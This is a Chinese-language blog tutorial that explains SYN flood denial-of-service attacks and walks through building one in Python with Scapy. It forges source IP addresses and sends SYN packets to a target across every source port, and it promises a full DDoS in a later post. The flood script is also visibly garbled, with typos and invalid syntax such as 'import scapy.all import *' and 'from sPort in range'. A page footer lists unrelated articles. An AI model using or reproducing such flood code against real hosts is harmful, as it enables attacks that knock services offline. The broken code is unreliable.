Python项目 基于Scapy实现SYN泛洪攻击的方法


Posted in Python onJuly 23, 2019

python3版本的Scapy--Scapy3k来实现一个简单的DDos。

首先实现SYN泛洪攻击(SYN Flood,是一直常用的DOS方式之一,通过发送大量伪造的TCP连接请求,使被攻击主机资源耗尽的攻击方式)。TCP三次握手的过程在这里就不再赘述,SYN攻击则是客户端向服务器发送SYN报文之后就不再响应服务器回应的报文,由于服务器在处理TCP请求时,会在协议栈留一块缓冲区来存储握手的过程,如果超过一定的时间没有接收到客户端的报文,那么本次连接在协议栈中存储的数据就会被丢弃。攻击者如果利用这段时间发送了大量的连接请求,全部挂起在半连接状态,这样将不断消耗服务器资源,直到拒接服务。

Scapy是一个强大的交互式数据包处理程序,可以用来发送、嗅探、解析和伪造网络数据包。首先需要安装Scapy3k:

sudo pip3 install scapy-python3

Python项目 基于Scapy实现SYN泛洪攻击的方法

现在学习一下scapy的使用方法:

sudo scapy(scapy发送数据包需要root权限)

Python项目 基于Scapy实现SYN泛洪攻击的方法

(警告信息是因为有一些依赖包没有安装,但是我们本次实验不需要使用我就不装了)

现在我们使用Scapy构造一个简单的数据包看一下:

pkt = IP(dst = "192.168.0.10")

Python项目 基于Scapy实现SYN泛洪攻击的方法

接下来我们就构造一个SYN包:

pkt = IP(src="202.121.0.12",dst="192.168.0.100")/TCP(dport=80,flags="S")

Python项目 基于Scapy实现SYN泛洪攻击的方法

(我们构造了一个IP包和TCP包并将它们组合到一块,这样就有了一个完整的TCP数据包,否则是无法发送出去的,IP包中我)们指定了源IP地址src和目的IP地址dst,其中src是我们伪造的地址,flags的值设定为S说明要发送的是SYN数据包)

代码实现:

具体代码如下:

import random
import scapy.all import *
 
def synFlood(tgt,dPort):
  srcList = ['201.1.1.2','10.1.1.102','69.1.1.2','125.130.5.199']
  from sPort in range(1-24,65535):
    index = random.randrange(4)
    ipLayer = IP(stc = stcList[index].dst = tgt)
    tcoLayer = TCP(sport = sPort,dport = dPort,flags = "S")
    packet = ipLayer/tcpLayer
    send(packet)

定义了srcList用于存放伪造的IP地址,之后定义了一个循环,作用是每次发送数据包源端口都改变,可以看到在构造TCP数据包的时候我们增加了一个参数sport,循环中改变的端口号就是给了sport这个参数。我们还调用random.randrange()函数来随机从srcList中获取一个伪造的IP地址。本次实验就算完成,下次实验实现一个完整的Ddos过程。

以上这篇Python项目 基于Scapy实现SYN泛洪攻击的方法就是小编分享给大家的全部内容了,希望能给大家一个参考,也希望大家多多支持三水点靠木。

Python 相关文章推荐
python文件操作整理汇总
Oct 21 Python
Python yield 使用浅析
May 28 Python
Python 正则表达式的高级用法
Dec 04 Python
Windows下的Python 3.6.1的下载与安装图文详解(适合32位和64位)
Feb 21 Python
Python统计单词出现的次数
Apr 04 Python
Pipenv一键搭建python虚拟环境的方法
May 22 Python
Django 多语言教程的实现(i18n)
Jul 07 Python
python实现移位加密和解密
Mar 22 Python
python 实现GUI(图形用户界面)编程详解
Jul 17 Python
python 负数取模运算实例
Jun 03 Python
Python 多线程C段扫描、检测 Ping扫描脚本的实现
Sep 03 Python
Opencv中cv2.floodFill算法的使用
Jun 18 Python
Django logging配置及使用详解
Jul 23 #Python
Python利用scapy实现ARP欺骗的方法
Jul 23 #Python
OpenCV3.0+Python3.6实现特定颜色的物体追踪
Jul 23 #Python
提升Python效率之使用循环机制代替递归函数
Jul 23 #Python
深入了解Django View(视图系统)
Jul 23 #Python
Python Opencv任意形状目标检测并绘制框图
Jul 23 #Python
flask框架单元测试原理与用法实例分析
Jul 23 #Python
You might like
PHP下一个非常全面获取图象信息的函数
2008/11/20 PHP
PHP Session变量不能传送到下一页的解决方法
2009/11/27 PHP
PHP中可以自动分割查询字符的Parse_str函数使用示例
2014/07/25 PHP
CentOS下PHP安装Oracle扩展
2015/02/15 PHP
PHP实现支持加盐的图片加密解密
2016/09/09 PHP
PHP面向对象程序设计之构造方法和析构方法详解
2019/06/13 PHP
PHP实现带进度条的Ajax文件上传功能示例
2019/07/02 PHP
在Laravel 的 Blade 模版中实现定义变量
2019/10/14 PHP
javascript Ext JS 状态默认存储时间
2009/02/15 Javascript
转义字符(\)对JavaScript中JSON.parse的影响概述
2013/07/17 Javascript
JS自调用匿名函数具体实现
2014/02/11 Javascript
jQuery扁平化风格下拉框美化插件FancySelect使用指南
2015/02/10 Javascript
详解javascript函数的参数
2015/11/10 Javascript
详解JavaScript的流程控制语句
2015/11/30 Javascript
使用jQuery判断Div是否在可视区域的方法 判断div是否可见
2016/02/17 Javascript
浅谈js中子页面父页面方法 变量相互调用
2016/08/04 Javascript
javascript this详细介绍
2016/09/19 Javascript
实例学习JavaScript读取和写入cookie
2018/01/29 Javascript
jQuery中each和js中forEach的区别分析
2019/02/27 jQuery
关于layui导航栏不展示下拉列表的解决方法
2019/09/25 Javascript
Python的Asyncore异步Socket模块及实现端口转发的例子
2016/06/14 Python
anaconda中更改python版本的方法步骤
2019/07/14 Python
Pycharm远程调试原理及具体配置详解
2019/08/08 Python
python列表推导式操作解析
2019/11/26 Python
python框架Django实战商城项目之工程搭建过程图文详解
2020/03/09 Python
英国马匹装备和马术用品购物网站:Equine Superstore
2019/03/03 全球购物
Linux文件系统类型
2012/02/15 面试题
中科软测试工程师面试题
2012/06/16 面试题
暑期实践思想汇报
2014/01/06 职场文书
关于圣诞节的广播稿
2014/01/26 职场文书
小学生环保标语
2014/06/13 职场文书
家庭贫困证明
2014/09/23 职场文书
流动人口婚育证明
2014/10/19 职场文书
会计实训报告范文
2014/11/04 职场文书
护士实习自荐信
2015/03/06 职场文书
幽默口才训练经典句子(48句)
2019/08/19 职场文书